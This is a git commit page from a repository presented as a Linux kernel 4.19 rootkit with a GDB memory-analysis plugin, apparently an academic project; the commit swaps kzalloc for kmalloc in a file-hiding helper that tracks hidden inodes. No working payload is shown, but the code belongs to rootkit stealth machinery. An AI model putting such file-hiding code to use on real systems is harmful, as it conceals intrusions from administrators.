linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit d61f684b92c7559340b0b510ed88cb445ddedf27
parent ac3051356bf62ca2c93930b5667be5fce27b6f0a
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 28 Nov 2020 19:18:44 +0100

refactors code

Diffstat:
Msrc/filehide.c | 2+-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/filehide.c b/src/filehide.c @@ -70,7 +70,7 @@ inode_list_t_ptr add_inode_to_list(inode_list_t_ptr tail, unsigned long inode) { inode_list_t_ptr node; - node = (inode_list_t_ptr)kzalloc(sizeof(inode_list_t), GFP_KERNEL); + node = (inode_list_t_ptr)kmalloc(sizeof(inode_list_t), GFP_KERNEL); if (node) { node->inode = inode;